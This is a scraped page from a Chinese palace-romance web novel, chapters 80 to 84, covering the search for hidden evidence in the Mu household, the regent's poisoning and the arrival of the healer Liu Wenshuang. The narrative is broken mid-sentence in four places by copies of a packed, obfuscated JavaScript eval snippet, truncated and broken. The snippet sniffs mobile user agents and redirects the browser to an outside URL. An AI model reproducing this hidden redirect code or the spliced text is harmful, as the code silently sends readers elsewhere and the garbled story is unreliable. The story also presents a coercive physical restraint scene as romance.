d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16657797|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她与穆衾寒交换了一个眼神，对方瞬间就明白了她的意思，然后蹲下身，伸手在洞口内壁摸索了起来。 她虽然有这个猜测，但并不十分确定，而且若狗洞内当真藏有机密，一定隐藏在极隐秘的地方，说不定这小小的一个狗洞内还藏有什么机关，她不懂这些，只好委屈穆衾寒以王爷之尊亲自在这里掏狗洞了。 不过穆衾寒本人似乎也没觉得委屈，他神情认真地在狗洞粗糙潮湿的内壁上摸索着，当指尖触碰到一块触感与其他位置截然不同的地方时，他蹙了蹙眉，指腹稍稍用力，便听到墙壁传来一丝极轻微的松动声。 沐毓露观察着穆衾寒的表情，见他突然变得如此严肃，她的心里也忍不住咯噔一跳。 还真让她猜中了？一来就找对了地方？ 片刻之后，穆衾寒的手指以一种巧妙的角度猛地一按，紧接着往后一抽，墙壁随着他的动作发出咔嗒一声轻响，然后一块沉重的活砖就被他抽了出来，狗洞内壁露出一个黑洞洞的狭小空间。 一股陈年尘土和纸张霉变混合的呛人气息扑面而来，穆衾寒将几册叠放整齐的书卷取了出来。 沐毓露忍不住将脑袋探了过去。 借着游移的月光，两人看清楚那是几本颇为陈旧的账簿，账簿边角磨损得厉害，打开一看，里面密密麻麻记录着一堆令人心惊肉跳的条目。 某年某月，军粮多少石，以陈粮或损耗之名出库，最终流向标注的却是一个陌生的带着异域味道的名字，旁边往往还有一句批注：某某大人处已打点妥当。 一笔笔，一条条，竟不知有多少粮食以这种方式流出朱雀国，流入了敌国的粮库。 穆衾寒目光扫过那些墨字，眸色一如既往深沉，看不出里面翻涌着什么情绪，过了一会儿，他将账簿全都收进怀中，然后转头有些好笑地盯着沐毓露：“令尊隐藏这些账簿的地方果真奇特，怪不得我们几次三番夜访沐府都无功而返。” 他问沐毓露：“不过你是怎么猜到这个地方的？” 沐毓露知道他恐怕对自己起了疑心，八成又开始试探她了，于是坦诚地道：“因为我小时候总爱钻狗洞出去玩儿，我爹知道后把我吊起来狠狠打了一顿，他说我钻狗洞有辱大家闺秀之名，气得差点没晕死过去，恨不得把我也打死了事。” “现在回想起来，老头子虽然易怒，但他那天的反应其实很不对劲，他看我的眼神与其说是愤怒，不如说是害怕我发现了什么东西的怀疑。” 她望一眼穆衾寒，然后嗯了一声说道：“就像你现在看我的眼神一样。” 穆衾寒却是笑了，笑得倒颇为无奈：“你别冤枉我，我可没有。” 沐毓露耸了耸肩，“其实我也只不过是猜测而已，而且沐府的狗洞这么多，里里外外足有几十个，我怀疑就是我爹用来掩人耳目的，我们能一下子找到藏东西的狗洞，这也是运气使然。” 穆衾寒赞同地点了点头：“那依你所见，下一个藏东西的地方会在哪里？” 81. 第81章 沐毓露沉吟了一下，然后将目光望向沐府后院最深处的那间厨房。 他们真的在狗洞里找到了账簿，那就说明她方才的思路是正确的，按照这个思路继续回忆，她很快便想起沐玉罡的另一个异常之处。 沐府上下唯一对厨房灶台感兴趣的人只有她，前世她为了讨穆衾寒欢心，很有热情地学习了一段时间厨艺，有一次还一不小心炸了厨房。 以沐玉罡的脾气，把她吊起来打一顿都算是轻的，可是那次他不仅没打她，反而殷勤地跑到她的院子来关心她的小厨房。 巡视了一圈之后他指点江山道：“你这个小厨房还缺一些厨具，做起菜来不是很方便，我这就跟王姨娘说一声，让她遣人帮你把需要的东西都配齐，你以后就在自己院子里做菜。随便做，再也不用担心炸厨房了。” 那时候沐毓露还以为沐玉罡是心情好，顺带着爱心泛滥，唤醒了一点对她的父爱，现在回想起来他的这个举动，就显得十分可疑了。 穆衾寒揽着沐毓露的腰，带着她以极快的速度飞掠过了数道月洞门，来到了府邸深处的大厨房。 此刻灶台冰冷，锅碗瓢盆在昏暗中堆叠出模糊的轮廓，巨大的烟囱矗立在屋角。 带着沐毓露翻窗进了厨房，穆衾寒悄无声息贴近了灶膛口。 灶口里堆积了厚厚的灶灰，穆衾寒却也不嫌弃，如方才那般蹲在了灶台前，俯身将手探入那片灰烬之中。 又是一阵摸索叩击，他的手指敲击在灶口内壁上，发出沉闷的“笃笃”声。 那声音不大，在深夜空无一人的厨房中却显得格外清晰，沐毓露做贼心虚地朝窗口张望着，生怕有巡逻的护院经过，将她和穆衾寒抓个正着。 好在没过多久，穆衾寒就停下了手上的动作，他靠近灶膛内侧底部的某处位置，停顿了一下后，调整了姿势重新敲了几下。 他的动作极其耐心，凝神聆听着每一次叩击声反馈的细微差别，而此时灶台内壁发出的敲击声的确有了一丝极其微弱的不同，不再是完全实心的闷响，而是带着一点点不易察觉的空腔回音。 穆衾寒的神情变了变，严肃的脸上出现了一丝嗤笑的表情，他变换了手势，指关节抵住内壁，开始持续地旋转起来。 一声轻微的机括转动声响起，灶膛内侧一壁开始向内凹陷旋转，露出了一个深不过寸许的暗格。 暗格内壁光滑，显然经常开启，里面躺着一卷被油布包裹得严严实实的物件。 穆衾寒迅速将其取出，解开油布，里面赫然现出一幅鱼皮地图。 打开地图，借着窗口透入的微光，勉强能够辨认出上面用朱砂和墨笔勾勒的线条，上面描绘出山川、河流、关隘，旁边标注着几处刺目的红点，标明了粮仓的精确位置，包括河流上游的水源地等等。 除此之外图侧空白处还标着几行小字：城东隘口，戍卫营换防时辰，子时三刻；京师营轮值口令，元朔二年更迭为“寒鸦”，元朔三年更迭为“落雪”，元朔五年…… 沐毓露越看越觉心惊，沐府的厨房灶台里竟然藏着京城军事布防图，连戍卫营和京师营的换防时间和轮值口令都标注得一清二楚。 穆衾寒将地图重新卷好，与怀中的账册放在一起，转首望了一眼沐毓露的表情，他轻声说道：“这个军事布防图尚未完全完成，还在更新当中，不将它交给信得过的军事重臣，而是把它藏在沐府，确实令人意想不到。” 紧接着他对沐毓露道：“还剩最后一样东西了，他们收受巨额贿赂，同时也向许多大臣行贿，手上一定有那些人的名单。” 穆衾寒的目光锐利地扫在她的身上，她不由自主咽了口唾沫：“可我真想不到了，我从来也没接触过这些……” 穆衾寒伸手扶住她的肩膀，“你是最了解他的人，再回忆一下，他在府中还有什么异常？” 沐毓露想了半天，有些崩溃地摇头，“我是了解他，但我与他接触不多，这些事情更是一点也不清楚。何况他脾气那么暴躁，平时我见到他躲都来不及……” 说到这里她顿了一下，然后再次抬头望向穆衾寒：“你方才说……还剩最后一样东西了？” 穆衾寒点了点头：“你想到了什么？” 沐毓露思索着道：“我爹脾气暴躁，而且有时候做事挺残忍的。他很讨厌各种小动物，但是书房里却养着一只雀鸟。他将那只雀鸟养得很好，给它定制了一个很大的笼子，我曾经看过那个笼子一眼，还纳闷他怎么给这么小的一只鸟做这么大一个笼子，那时候我还以为他单纯是炫耀自己有钱来着。” 说着说着，她与穆衾寒的目光对上，两人眼中有了共同的猜想。 他再次揽着沐毓露，带着她从厨房窗口跃出，“那就去书房看一看吧。” 书房也位于内院深处，却是在后院的另外一角，距离厨房的位置较远，因此穆衾寒带着沐毓露施展轻功，飞檐走壁往书房而去。 沐毓露有些紧张地闭上了眼睛。 “别怕，抱紧我。”穆衾寒揽着她的腰，紧紧地贴着她，高大身形投下的阴影几乎将她完全笼罩。 沐毓露听到这句话之后却是浑身一颤，然后抗拒地偏过脑袋，与穆衾寒拉开一点距离。 穆衾寒自然注意到了她的反应，当然也猜到了她在想什么，不过此刻不是纠缠这些的时候。 他紧了紧揽在她腰间的手，抬起另一只手不容分说地将她的脑袋靠在了自己的胸膛，带着她掠过重重屋檐，来到了沐玉罡的书房前。 书房门窗紧闭，附近有一队护院巡逻，在他们的位置已经能看到不远处的灯光。 穆衾寒抽出一把匕首，用薄刃无声地挑开内里的窗栓，动作轻盈得如同拂过一片羽毛。 打开窗户，他拎起沐毓露，趁着夜色滑入那弥漫着墨香与书卷气的房间。 月光透过雕花的窗户，在紫檀木书案和满墙的书架上投下纵横交错的光影，穆衾寒站在书架间轻轻地嗅了嗅，然后问沐毓露：“你爹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16666782|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他买这么多书，是完全不看的么？” 沐毓露又一次耸了耸肩，“反正从来没见他看过。” 穆衾寒不说话了，目光锐利地扫过书架与书案，最后停在了房间角落里的那个巨大鸟笼上。 笼中的确养着一只毛色艳丽的雀鸟，它并未被沐毓露二人惊扰，只是慢条斯理地用鲜红的喙啄理着自己的翅膀。 穆衾寒走到笼前，高大的身影挡住了本就微弱的光线。 笼中那翠蓝的雀鸟立刻停止了动作，歪着小脑袋警惕地注视着他。 穆衾寒并未直接伸手，而是微微俯身，目光仔细地在鸟笼内部搜寻，最后他的视线定格在了笼底靠近角落的位置。 沐玉罡的确将这个鸟笼打造得很精致，巨大的笼中竟然布置着假山假草，而穆衾寒视线定格的位置铺着一层干净的细沙，细沙中半掩着一些不起眼的小小蜡丸。 穆衾寒小心地拨开那层细沙，修长的手指在几个蜡丸之间游走，最后他选定了其中两个蜡丸，将它们拈了出来。 沐毓露怔怔地注视着穆衾寒的动作，“贿赂官员的证据难道藏在这些蜡丸里？我还以为这些都只是去除异味的香丸而已。” 她的话还没说完，穆衾寒就用力一捏，将那两枚蜡丸尽数捏碎，空心的蜡丸里现出了两张被卷起来的薄薄的纸。 穆衾寒将纸展开，见那上面果然记载着受贿官员的姓名与官职，同时还记录清楚了受贿时间和金额物品。 原来自进入京城以来，三皇子便通过沐玉罡，向朝中诸多官员输送过利益，而那些官员如今绝大多数都是三皇子一党，给他提供了许多的支持。 将所有的证据都收好，穆衾寒退回到沐毓露的身边，再次揽住她的腰，带着她轻巧地掠出敞开的窗口。 离开书房后穆衾寒足尖在窗棂上一点，借力腾空，带着沐毓露悄无声息地翻上了书房屋顶。 脚下是冰凉的瓦片，倾斜的坡度让人心惊胆战，沐毓露死死咬住下唇，不让惊呼声溢出喉咙，一边出于恐惧紧紧地抓住穆衾寒腰侧的衣料，一边又偏着脑袋想要与他保持距离，以这样别扭的姿势随他一起飞檐走壁，她实在是苦不堪言，没一会儿额上就渗出了细密的汗。 穆衾寒没有沿着来时的路线返回，而是身形一折，朝着府邸深处最高的屋脊掠去。 风声在耳边呼啸，脚下的景物飞速地倒退下沉，沐毓露鼓起勇气睁开眼睛，发现穆衾寒正带着她往那座最高的书阁而去。 掠过她曾经住过的庭院，书阁的轮廓在两人面前浮现，沐毓露蹙眉注视着它，目光沉了又沉。 书阁一切如旧，与她和三州堇璱初见那晚一般无二，不过庭院旁的那池湖水却被沐玉罡给填平了。 穆衾寒在此时垂首望着她，直到快与书阁擦肩而过，他才淡淡地道：“过去我们总以为证据会藏在书阁之中，翻来覆去找了几次。” 说到这里他突然话锋一转：“听说你和三州堇璱就是在这里相识的？” 82. 第82章 沐毓露又皱了皱眉，难掩心中烦躁。 这人怎么什么都知道？每天十二个时辰都派人盯着她么？ 见沐毓露迟迟不肯作答，穆衾寒也是目光一沉，然后猛地提速，贴檐疾走，直冲向书阁高耸的侧墙。 书阁的砖墙在眼前急速放大，就在沐毓露以为他真的要带着她撞上去的时候，他突然身形一沉，踩着砖瓦再次斜斜地向上冲去。 身体瞬间传来一种熟悉的失重感，那晚同三州堇璱逃命时也是这样的感觉，吓得沐毓露紧紧闭上了眼睛。 两人几乎是擦着书阁最高层紧闭的雕花木窗飞掠而过，然后重新没入了京城的夜色里。 直到耳畔风声渐缓，沐毓露才瑟缩着睁开了眼睛。 她在心里愤愤不平地想，故意的，穆衾寒一定是故意的。 这时穆衾寒的声音在她头顶响起：“你还真是大公无私，今天找到的这些证据够沐府上下死几百回了。” 听见他换了个话题，终于不再反反复复提起三州堇璱，沐毓露这才松了口气，然后她问穆衾寒：“接下来你打算怎么处置他们？” “光是通敌叛国这一条就足够让沐府满门抄斩，何况沐老爷还在暗中做了不少其他事。”穆衾寒垂首望了她一眼，“但是看在你的份上，我可以饶他们不死。” 他紧接着道：“沐府男丁尽数流放，女眷可以继续住在京城，宅子也留给她们，但也只能留一座空宅子给她们，朝廷会没收沐府所有金银财物，你觉得如何？” 沐毓露不置可否地道：“这件事情王爷自己拿主意就是，不必看在我的面子上法外开恩。” 穆衾寒又望了她一眼，“我的王妃如此深明大义？” 沐毓露抿了抿唇，不想说话了。 其实即便没有她，穆衾寒也是能找到证据的，只不过是时间早晚而已。 按照前世的时间线，沐府是在四年后被满门抄斩，前世的穆衾寒应当就是在那个时候集齐了所有的证据。 因为她的重生，这一世的时间线又发生了变化。 前世沐府上下包括女眷都死了个精光，这一世穆衾寒居然看在她的面子上对沐府从轻发落。紧接着她又想到，沐府一旦遭殃，证据都被穆衾寒掌握，三皇子又怎么可能继续像现在这般得意，被贬为庶人都算是罚得轻了，那么前世嫁给三皇子做了侧妃的沐晚意呢？ 她的命运是否也会发生改变？ 前世的沐晚意成为三皇子侧妃之后的确风光了一阵子，她还曾到王府来看望过身为王爷侍妾的沐毓露，只不过那所谓的探望是假，嘲讽奚落才是真。 见到沐毓露过得不好，而她的地位高高在上，她登时心情大好，还非常愉悦地赏赐给了沐毓露许多金银珠宝。 前世三皇子罪行败露的时候，沐毓露已经被穆衾寒折磨得生不如死，没过多久她就一条白绫吊死了自己，自然也就不知道沐晚意作为三皇子的侧妃最后结果如何。 这一世这件事情的结果提前了好几年，此时沐晚意还没有嫁给三皇子，沐府女眷能够被放过，还能继续住在老宅子里，想必对于沐昭氏和沐晚意来说这都是福非祸吧。 集齐了证据回到王府之后，没过多久穆衾寒就以雷霆手段对这些人进行了处置，一时间抄家的抄家，流放的流放，朝野上下被顺藤摸瓜查出来的高官显爵不下百人。 以至于后来民间流有传言，说穆衾寒在京城里大开杀戒，京中长街血流成河，几天几夜都洗不干净，血腥味更是几日不散。 这当然是夸张的说辞，不过穆衾寒本人毫不在意，对于他来说，让世人惧怕他比从他们身上获得所谓的尊敬要合乎实际得多。 肃清朝野期间他少来后院，连陪沐毓露用晚膳的时间都没有，唯一一次主动来寻她，为的还是沐府的事儿。 “皇帝对三皇子颇有怜悯之意，其余的朝臣任由我处置，但三皇子他要求留他一命。”穆衾寒毫不避讳地对沐毓露说起朝廷上的事：“我来是想问你，你妹妹同三皇子的亲事如何解决？” 他直接道：“既然三皇子不死，对他的处罚只是贬为庶人，甚至都不用圈禁起来，京城中的宅子也任他居住，按理来说他和你妹妹的那桩婚约也该继续履行。” 沐毓露语气平淡地询问他：“既然如此，你来同我说这些做什么？” 穆衾寒挑了挑眉，“三皇子经此一事颇受打击，因此性情大变，脾气变得阴晴不定，恐怕已非良人。将此事告诉你，是怕你将来怨恨我将你的妹妹扔进了火坑。” “三皇子的性情本身也不怎么好，他原本就阴晴不定，就算没受到打击也是如此。”沐毓露闷闷地道：“而且我这妹妹也不是善人，她……” 停顿了一下，她似乎在犹豫着什么，最后还是说道：“王爷若是能做主取消这桩婚事，倒也是一件好事。” 她的态度忽然就转变了，穆衾寒有些不解地注视着她：“你不是说她并非善人么，看来她在府里也没少欺负你，为何还要让我帮她取消这桩婚事？” 毕竟是沐毓露有求于人，她倒也没有藏着掖着，而是坦诚地回答他：“我求你帮的不是我的妹妹，而是一个没办法选择自己婚姻的可怜女人。你就当我是物伤其类吧，她若当真嫁给了被贬为庶人的三皇子，这辈子的命也就一眼望得到头了。” 穆衾寒意味深长地问：“你这话说的不仅仅是她吧？” 他的语气里带着一点危险的意味，沐毓露却像是听不出来，无所谓地道：“王爷爱怎么想就怎么想吧，我也只是随口一说而已。” 穆衾寒再次深深地望了她一眼，然后一言不发转身离去。 虽然他们最后的对话不太愉快，但穆衾寒还是答应了沐毓露的请求，真的做主取消了沐晚意与三皇子的婚约。 待所有的事情尘埃落定，已经是三日之后了，这三日沐毓露都没见到过穆衾寒，不知道他是真的太忙碌，没有时间踏进后院一步，还是被上次的谈话伤了心，这一段时间都不想再见到她。 总之这几天他一面都没有露，连檀香都觉得稀奇：“王爷就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16671640|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算再忙，也从没有过三五日都不来见您的时候，他这是怎么了？” 沐毓露在心里想，怎么了？可能是终于毒发身亡了。 檀香纳闷完之后给沐毓露支招：“王爷不来见您，您倒也可以主动去见他，要不奴婢陪您一起去吧？” 沐毓露还是不说话，而且不仅她自己不说话，她还让檀香也把嘴巴闭上：“行了，夜已经很深了，你下去休息吧。” 她生怕这丫头把穆衾寒挂在嘴上念叨，回头真把这尊活佛给念来了。 可惜怕什么来什么，檀香刚关上门退了出去，没过一会儿门又被人打开，紧接着穆衾寒披着一身夜露进来了。 彼时沐毓露正因为接连几日都没见到穆衾寒而心情大好地哼着小曲儿，一转头看见他居然就沉着脸站在门口，立马闭上了嘴，没哼完的曲调也全都咽了回去。 穆衾寒见她看到自己后是这般反应，脸色变得更加阴沉，他的目光落在她的身上，带着一种审视，又似乎掺杂了些别的她读不懂的情绪。 下一秒，他将门一关快步向她走来。 沐毓露如临大敌地站起身来，慌乱之下没话找话，企图转移穆衾寒的注意力：“王爷这时候才忙完么？朝中的事情可还顺利？那些三皇子的余党……” 话还没有说完，便被疾步而来的穆衾寒一把捉住了手腕，她下意识想后退一步，却身不由己地被他带入了怀中。 他将唇贴在她的耳畔，近乎咬牙切齿地问：“这几日我不来见你，你便也不来见我？” 沐毓露顾不得回答他的问题，只是将手抵在他的胸膛，慌乱地想要推开他。 他却纹丝不动，反而收紧了手臂，将她更深地禁锢在自己怀里。 温热的气息拂过耳畔，将沐毓露的脸拂得滚烫，她恨不得踩他一脚，却听见他低沉的声音再次响起：“别动。要是再乱动，我就不会像现在这般克制了。” 威胁，这就是赤裸裸的威胁。 沐毓露虽然恼恨，却也没有办法，只能僵在他的怀里，任由他抱着她。 隔着衣料，她能够感受到从他身上传来的温度，似乎比平日里要高一些。 她抬了抬头，正想问他是不是不舒服，却突然被他打横抱起，然后扔到了床上，还来不及爬起来，就被他压在了身下。 她全身都颤抖起来：“穆衾寒，你……你不能……” 他将她的慌乱和惊惧全都收入眼底，就这么沉沉地注视了她一会儿，然后垂下头开始细密地吻她。 他先是吻了吻她的额头，然后亲吻她的眼睫，就这样一路向下，最后停在了锁骨。 他的呼吸渐渐变得绵长而沉重，声音也无比的沙哑：“这几日我总是做梦，梦见一些很奇怪的事，它们分明从来没有发生过，却真切得好像就是我亲手做过的事。” 他问她：“你厌恶我，是因为我将你囚禁起来，不仅待你不好，最后还一条白绫将你赐死么？” 沐毓露瞬间停下反抗的动作，眼里弥漫起雾蒙蒙的水汽。 83. 第83章 穆衾寒将头埋在她的颈侧，过了许久又问了她一遍：“告诉我，是不是？” 沐毓露将头偏到了一边，并没有回答他。 他忽然笑道：“若我梦见的这一切当真只是梦，那你就不该逃避我。” 沐毓露仍旧将手抵在他的胸膛，却逐渐没有了力气，最终只是虚虚地搭着，她问他：“倘若那些梦都是真的呢？” 穆衾寒终于在此时放开了她，他在床上侧躺着，然后将她更紧地拥进怀里，在她的耳畔低语：“如果那一切都不是梦，那么我会好好补偿你，用我的余生补偿你，好不好？” 说完这句话他将脑袋抵在她的肩颈之间蹭了蹭，然后呢喃着道：“放心吧，我只是想抱着你睡一觉。我会一直等你，等到你重新爱上我的那一天，在此之前我都不会碰你……” 可惜他这些话并没有令她感动，反而让她又生出了一些厌恶之意，若前世的他能够放她一条生路，或是能在她死前告诉她，他知晓她对他的心意，哪怕只是一句安慰的话也好，她也不至于含着满腔怨恨而死。 前世的她也许真的会再次爱上他吧，但今生的她已经死过一回，她没有办法再爱上他。 说到后面穆衾寒的声音变得断断续续，逐渐听不真切，沐毓露被迫蜷缩在他的怀里，听着他均匀的呼吸声，也逐渐昏昏沉沉地睡了过去。 但她并没有睡多久，便被一阵难以忍受的灼热唤醒了，迷迷糊糊地睁开眼，她惊觉自己后背贴着的胸膛温度高得惊人。 半睡半醒间，她难受地蹙了蹙眉，下意识想要逃离这那灼热的源头，然而环在她腰间的手臂却如同滚烫的铁箍，非但没有松开，反而收得更紧。 她终于彻底醒了过来。 身后穆衾寒的呼吸变得异常沉重，急促地喷洒在她的颈窝，带来一阵灼热，她挣扎着将他环绕在自己腰际的手拉开，迟疑地侧过身看向他。 只见穆衾寒双目紧闭，眉头紧锁，即使在昏睡中也透着白日里的那种紧绷，平日里冷峻的面容此刻泛着不正常的潮红。 沐毓露犹豫了一下，伸出手用指尖轻轻地碰了一下他的额头。 指尖传来的温度烫得惊人，他果然发了高热，而且烧得厉害。 看来他在三皇子宴上中的毒此刻终于发作了，毒发的时间倒与前世一致。 沐毓露平静地起身下床，唤来贴身近侍为穆衾寒入宫请御医。 当值的御医连夜赶到王府为他把脉，诊断的结果自然也与前世一致，只说他应当是得了急症，但并不确定到底是什么病症。 房间里灯火通明亮了一晚上，沐毓露不好在众目睽睽之下躲到一边去，只好也陪那些御医们熬着，就这样从天黑熬到了天亮。 最后他们保守地给穆衾寒开了一道退烧的方子，说是要回太医院去与其他同僚一起重新看看脉案，才能最终定夺王爷到底是生了什么急病，然后再对症下药。 沐毓露在一旁沉默不语。 她其实比谁都清楚，这些御医商量来商量去，最后也是商量不出什么结果的。 穆衾寒中的是朱雀国中从未出现过的一种奇毒，那些御医自然诊断不出来，不过摄政王身份贵重，他们既不能乱下药，也不能承认自己无法医治，否则转头就有杀身之祸，所以只好硬着头皮给他诊治。 不过这样保守治疗，穆衾寒的病自然是好不了的，只会一日比一日严重。 前世这个时候是沐玉罡为他寻来了一个江湖游医，虽然说那游医是治标不治本，但好歹为穆衾寒延了一段时间的寿命，才能让他活着等到柳闻霜出现的那一日。 不过这一世的时间线发生了一些变化，沐玉罡此时已经在去往流放地的路上了，没办法像前世那般为他请来游医。 不知道今生命运会如何发展，穆衾寒还能否逃过这一劫？ 沐毓露垂首注视着躺在床上的穆衾寒，忍不住在心里想，倘若他就这样毒发身亡了会如何？她会因此获得自由吗？ 随即转念一想，他若真的就这样死了，那她岂不是成了寡妇？朱雀国有女子为丈夫守丧的传统，守丧的时间从三年到五年甚至十年不等，以她的王妃之尊，再加上宫里还有位太皇太后盯着，她岂不是要为穆衾寒守丧一辈子？ 太可怕了。 想到这一层之后，她顿时由冷眼旁观变为热心张罗，先宫里一步贴出了重金寻找天下名医为王爷治病的告示。 没有想到告示刚贴出去的第二天，柳闻霜就寻上门来了。 隔着前世今生两辈子，再一次见到柳闻霜那张人畜无害的脸，沐毓露还是忍不住打了一个冷颤。 该来的躲不掉，穆衾寒果然命不该绝。 沐玉罡和三皇子被提前处置，与此同时救了穆衾寒一命的柳闻霜居然也提前赶来，按照命运的轨迹，没过多久穆衾寒就会不可自拔地爱上柳闻霜，力排众议将她娶为正妃了。 沐毓露有些恍惚地注视着柳闻霜的脸，乱七八糟地想了许多，回过神来时见到对方还跪在厅中，连忙上前将她扶起。 这姑娘身子弱，若是这时候跪久了，再跪出个什么毛病来，难保穆衾寒不会同她秋后算账。 将柳闻霜扶起之后，她简单交代了一下穆衾寒发病的时间和状况，然后就领着她去了后院穆衾寒的房间。 柳闻霜倒的确是一个合格的医者，见到穆衾寒状态如此不好，当即坐在床前为他诊脉。 沐毓露关上门，悄无声息地退了出去。 今生的她已非前世的她，她早就不爱穆衾寒了，便不再可能因爱生恨，更不会因此仇视柳闻霜，说出一些尖酸刻薄的话，做出一些令穆衾寒生厌的事。 相反，她还要对柳闻霜好，发自真心地祝福他们二人，等到穆衾寒爱柳闻霜爱得无法自拔的时候，她也许就能获得自由了。 时间不疾不徐地向前流淌，一切都在按照上一世的轨迹发展着。 穆衾寒的高热在第三日退了下去，而他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16676549|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本人也在第三天的深夜悠悠醒转，醒来的第一眼见到的就是趴在桌上守着他的柳闻霜。 此后的一段时间，柳闻霜几乎是寸步不离地照顾着穆衾寒，大至行医用药，小至一饮一食，都要她亲自过目了才成。 毕竟穆衾寒身中奇毒，能够将他从鬼门关拉回来颇为不易，不好好将养三五个月是没办法好全的，而在此期间他服用着各种药物，需得防范食物相克，因此柳闻霜除了给他把脉用药，还要负责他每日的饮食。 两人就这样朝夕相处了几个月。 直到天气渐冷，快入冬时，某日清晨檀香慌慌张张地来找沐毓露：“不好了王妃，我方才看见、看见……” 她左右张望了一下，抿了抿嘴，把没说出口的话咽了回去。 沐毓露心头一动，将房间里其余的丫头都遣了出去，然后问檀香：“你方才看见了什么？别怕，我不会告诉别人的。” 檀香喘了口气，这才说道：“我方才看见王爷从柳姑娘的房间里走出来！” 沐毓露听完愣了一下，然后不以为意地笑了笑：“柳姑娘是他的救命恩人，他从她的房间里出来也没什么稀奇的。” 檀香见沐毓露压根儿就没把这件事放在心上，不由更加着急：“可是王爷昨儿个回来得很晚，有人看见他回府就去了柳姑娘的院子。王妃您说，王爷晚上去的柳姑娘院子，今儿早上才从她房间出来，那岂不是说明他在柳姑娘的院子里留宿了？” 这几个月沐毓露和穆衾寒见面的次数并不多，起初穆衾寒还如往常那般日日都来陪沐毓露用膳，后来他就渐渐地不来用膳了，再后来他干脆不再踏进沐毓露的院子。 算算时间，他差不多有二十来天未曾主动来寻过她了。 府里早已有了各种传言，无外乎是说王府里新来了个如花似玉的柳姑娘，不仅人长得漂亮，还有一手好医术，在她的衬托下，沐毓露别无所长，便显得空有一副好皮囊了。 于是大家纷纷开始猜测，王府里恐怕要有一位新侧妃了，沐毓露的王妃之位虽然暂时不可动摇，但是日子还长，若是那位柳姑娘先她一步怀上王爷的子嗣，到时候可就说不准这王妃之位到底是谁的了。 这些话传得有鼻子有眼，自然也传进了沐毓露的耳朵里，檀香今日如此焦急也是因为这个传言。 种种迹象表明那些传言不仅仅是传言，再这样下去，沐毓露的王妃之位的确变得岌岌可危。 但只有沐毓露心中清楚，柳闻霜是不可能做侧妃的，穆衾寒也绝对舍不得让她做侧妃。 既然昨晚他都已在柳闻霜房间里留宿，那么想必过不了多久，他就该来寻她商议给柳闻霜名位的事了。 她刚在心里这么想着，结果下一秒穆衾寒就推门走了进来。 乍一看到穆衾寒，檀香吓了一跳，她有些心虚地低下头，跪在地上埋首向他行礼。 穆衾寒扫了她一眼，挥手让她出去：“把门关好，我有要事同王妃相商。” 84. 第84章 待檀香退出去之后，穆衾寒行至沐毓露面前，张了张口，却说了一句和要事两个字不沾边的话：“你还没有用早膳？” 沐毓露疑惑地望了他一眼，然后无言地点了点头。 穆衾寒哦了一声，又东拉西扯地问了一些别的问题，关心她这段时间睡得好不好，吃饭进得香不香，又问她在府里待着闷不闷，有没有出去走走。 问到后面沐毓露实在是忍不住了，有些不耐烦地打断了他：“王爷今日来寻我，不是为了问这些无关紧要的问题吧？” 她直截了当地问：“你是不是想同我谈柳姑娘的事？” 穆衾寒眸光一凛，有些不悦地道：“是不是王府里的人又在背后嚼舌根子了？” 沐毓露特别想当面嘲讽他，哪里还用得着别人在背后嚼舌根子，这段时间他和柳闻霜可谓是形影不离，就差睡到一张床上去了，当然了，昨天晚上他们可能真的已经睡到一张床上去了，这些行径落在别人眼里，他们可不就跟做了夫妻一般？ 但她也只能在心里这么想想，毕竟等下她是要请求他放自己自由的，该低头时就低头。 于是她轻轻地吸了一口气，尽量让自己的声音显得柔和：“倒也不是别人嚼舌根子，而是王爷和柳姑娘近日的相处我都看在眼里，别的不说，女儿家的情意我还是看得出来的，想必王爷也想给她一个名分吧？” 头一次听见沐毓露用这样的腔调说话，穆衾寒似乎还有一点不习惯，又或许是因为有那么一点愧疚，总之他愣了一会儿才道：“原来你都知道了？我今日来确实是要同你商议此事。” 沐毓露又先他一步道：“王爷想要给柳姑娘王妃之位吧？” 穆衾寒又是一怔，难得他也有在沐毓露面前如此无措的时候：“阿柳自幼父母双亡，有幸被一名游医收养，却是跟他过着颠沛流离的生活，如今好不容易能够安定下来，我、我不想负了她。” 